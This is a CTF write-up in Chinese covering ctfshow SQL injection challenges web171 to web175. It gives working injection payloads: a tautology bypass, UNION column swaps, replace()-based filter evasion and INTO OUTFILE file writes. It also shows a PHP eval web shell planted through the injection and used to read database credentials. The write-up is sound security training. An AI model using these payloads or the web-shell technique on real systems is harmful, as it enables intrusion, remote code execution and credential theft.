CTF show Sql注入

做此类题之前最好在本地环境下进行sql语句测试,确保本地打通后再测试远程,这样可提高对于sql语句的掌握程度

web171

题目描述

从此题开始的150道题全部为sql注入,准备好了吗?

解题思路

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

本题为白盒测试,给出了sql语句,并且再过滤中暗示包含flag的字段username=flag,在本地DataGrip中尝试拼接语句,这里我测试了正常拼接和联合查询,在本地均可正常回显,但打不通远程

1
2
3
select username,password from user where username !='flag' and id = '1' ;select username,password from user where username ='flag'; #' limit 1;

select username,password from user where username !='flag' and id = '1' union select username,password from user where username ='flag'; #' limit 1;

这里看其他师傅的WP,学到了已知and优先级高于or,所以先username !='flag' and id='1' or 1=1
所以假or真,结果为真,恒为真 所有的内容都会被输出
所有的user表中的username,password都被输出了,得到flag的内容.

payload:1' or 1=1 --+

其他几种可行的payload:9999' or id = '261' or username='flag' --+

实测这里使用#注释会报错,实际情况中要多尝试

web172

题目描述

撸猫为主,要什么flag?

解题思路

此题开放了两个模块,第一个模块用上一个payload继续打,发现flag_not_here,直接进入下一个模块

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

sql语句不变,添加了返回逻辑判断

我们可以使用联合查询的姿势,将usernamepassword的顺序调换,偷梁换柱以绕过返回过滤

payload:9999' union select password,username from ctfshow_user2 where username ='flag' --+

sql语句拼接后如下

1
select username,password from ctfshow_user2 where username !='flag' and id = '9999' union select password,username from ctfshow_user2 where username ='flag' --+' limit 1;

web173

题目描述

考察sql基础

解题思路

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

加强了返回结果的判断,但换汤不换药,关键的是password中内容,略微修改payload即可

9999' union select id,id,password from ctfshow_user3 where username='flag' --+

或许可以用MySQL字符串函数绕过,如to_base64()、hex()

web174

题目描述

考察sql基础,不要一把梭,没意思

解题思路

再次加强了过滤,ban掉了数字

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

这还是挺伤的,由于flag中肯定包含数字,故以上绕过姿势失效

我们可以搜索Mysql字符串函数找找有没有什么函数可用,发现replace()

1
2
SELECT REPLACE('Hello World','World','MySQL') AS result;
-- Output: Hello MySQL

我们可以用其他字符替换数字来正常回显,再写脚本还原即可

在本地构造sql语句

构造后payload:9999'union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','!'),'2','@'),'3','#'),'4','$'),'5','%'),'6','^'),'7','&'),'8','*'),'9','('),'0',')') from ctfshow_user4 --+

尝试打一下一直报接口错误,抓个包看一下。。。

抓包

破案了应该是payload太长,中间截断了没有完全上传

更改一下payload:9999'union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','!'),'2','@'),'3','#'),'4','$'),'5','%'),'6','^'),'7','&'),'8','*'),'9','('),'0',')') from ctfshow_user4 where username='flag

全部url编码后BP发包即可得到回显ctfshow{!)d#f$f#-a)$(-$cbe-be@@-b&@b*d&@@$##}

写一个python脚本将flag还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
flag = 'ctfshow{!)d#f$f#-a)$(-$cbe-be@@-b&@b*d&@@$##}'

flag = flag.replace('!', '1')
flag = flag.replace('@', '2')
flag = flag.replace('#', '3')
flag = flag.replace('$', '4')
flag = flag.replace('%', '5')
flag = flag.replace('^', '6')
flag = flag.replace('&', '7')
flag = flag.replace('*', '8')
flag = flag.replace('(', '9')
flag = flag.replace(')', '0')

print(flag)
# ctfshow{10d3f4f3-a049-4cbe-be22-b72b8d722433}

web175

题目描述

最后一个无过滤注入,到此你已经熟悉了基础的sql语句。

解题思路

1
2
3
4
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

本来思路和上一题一样,是将结果中的过滤字符替换为中文等字符,但将其转化为json格式中应该必定存在过滤字符,导致无法回显,所以思路为更换其他信道得到结果,如公网带外,文件写入等。本题使用文件写入

预期解

99' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+访问1.txt即可看到flag,用该方法以上对输出结果进行过滤的题目均可用该种方法绕过过滤

非预期解

通过写入一句话木马
99' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php' --+
这样可能会引起数据异常,保险起见可以将<?php eval($_POST[1]);?>base64编码后再url编码,再用sql函数from_base64()传入,用bp检查数据是否完整

传入木马之后可以RCE,可以查看./api/config.php,找到数据库账号和密码

1
2
1=system('tac ./api/config.php');
# $charName = "utf-8"; $dbname = "ctfshow_web"; $dbpwd = "root"; $dbuser = "root"; $dbhost ="127.0.0.1"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-11-01 19:29:25 # @Last Modified by: h1xa # @Date: 2020-11-01 14:21:14 # @Author: h1xa # -*- coding: utf-8 -*- /*

用蚁剑连接后,用数据处理查询该表下所有数据即可

sql

Sql (2)